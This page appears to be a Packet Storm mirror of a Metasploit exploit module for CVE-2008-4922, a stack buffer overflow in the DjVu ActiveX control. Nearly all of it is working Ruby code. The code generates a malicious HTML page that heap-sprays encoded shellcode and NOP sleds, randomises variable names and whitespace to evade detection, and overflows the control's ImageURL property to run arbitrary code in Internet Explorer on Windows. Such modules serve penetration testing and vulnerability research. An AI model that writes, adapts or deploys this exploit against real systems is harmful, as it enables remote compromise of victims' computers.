DjVu DjVu_ActiveX_MSOffice.dll ActiveX ComponentBuffer Overflow

2009-11-2600:00:00
dean
packetstormsecurity.com
0.669 Medium
EPSS
Percentile
98.0%
JSON
`###  
## This file is part of the Metasploit Framework and may be subject to  
## redistribution and commercial restrictions. Please see the Metasploit  
## Framework web site for more information on licensing and terms of use.  
## http://metasploit.com/framework/  
###  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::FILEFORMAT  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'DjVu DjVu_ActiveX_MSOffice.dll ActiveX ComponentBuffer Overflow',  
'Description' => %q{  
This module exploits a stack overflow in DjVu ActiveX Component. When sending an   
overly long string to the ImageURL() property of DjVu_ActiveX_MSOffice.dll (3.0)  
an attacker may be able to execute arbitrary code. This control is not marked safe   
for scripting, so choose your attack vector accordingly.  
},  
'License' => MSF_LICENSE,  
'Author' => [ 'dean <dean [at] zerodaysolutions [dot] com>' ],   
'Version' => '$Revision$',  
'References' =>   
[  
[ 'CVE', '2008-4922' ],  
[ 'OSVDB', '49592' ],  
[ 'BID', '31987' ],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
},  
'Payload' =>  
{  
'Space' => 1024,  
'BadChars' => "\x00",  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7', { 'Ret' => 0x0A0A0A0A } ]   
],  
'DisclosureDate' => 'Oct 30 2008',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('FILENAME', [ true, 'The file name.', 'msf.html']),  
], self.class)   
end  
  
def exploit   
# Encode the shellcode.  
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))  
  
# Create some nops.   
nops = Rex::Text.to_unescape(make_nops(4))  
  
# Set the return.  
ret = Rex::Text.uri_encode([target.ret].pack('L'))  
  
# Randomize the javascript variable names.  
vname = rand_text_alpha(rand(100) + 1)  
var_i = rand_text_alpha(rand(30) + 2)  
rand1 = rand_text_alpha(rand(100) + 1)  
rand2 = rand_text_alpha(rand(100) + 1)  
rand3 = rand_text_alpha(rand(100) + 1)  
rand4 = rand_text_alpha(rand(100) + 1)  
rand5 = rand_text_alpha(rand(100) + 1)  
rand6 = rand_text_alpha(rand(100) + 1)  
rand7 = rand_text_alpha(rand(100) + 1)  
rand8 = rand_text_alpha(rand(100) + 1)  
  
content = %Q|  
<html>  
<object id='#{vname}' classid='clsid:4A46B8CD-F7BD-11D4-B1D8-000102290E7C'></object>  
<script language="JavaScript">  
var #{rand1} = unescape('#{shellcode}');  
var #{rand2} = unescape('#{nops}');  
var #{rand3} = 20;  
var #{rand4} = #{rand3} + #{rand1}.length;  
while (#{rand2}.length < #{rand4}) #{rand2} += #{rand2};  
var #{rand5} = #{rand2}.substring(0,#{rand4});  
var #{rand6} = #{rand2}.substring(0,#{rand2}.length - #{rand4});  
while (#{rand6}.length + #{rand4} < 0x40000) #{rand6} = #{rand6} + #{rand6} + #{rand5};  
var #{rand7} = new Array();  
for (#{var_i} = 0; #{var_i} < 400; #{var_i}++){ #{rand7}[#{var_i}] = #{rand6} + #{rand1} }  
var #{rand8} = "";  
for (#{var_i} = 0; #{var_i} < 2024; #{var_i}++) { #{rand8} = #{rand8} + unescape('#{ret}') }  
#{vname}.ImageURL = #{rand8};  
</script>  
</html>  
|  
  
content = Rex::Text.randomize_space(content)  
  
print_status("Creating HTML file ...")  
  
file_create(content)  
end  
  
end  
`
0.669 Medium
EPSS
Percentile
98.0%
JSON
Related for PACKETSTORM:82974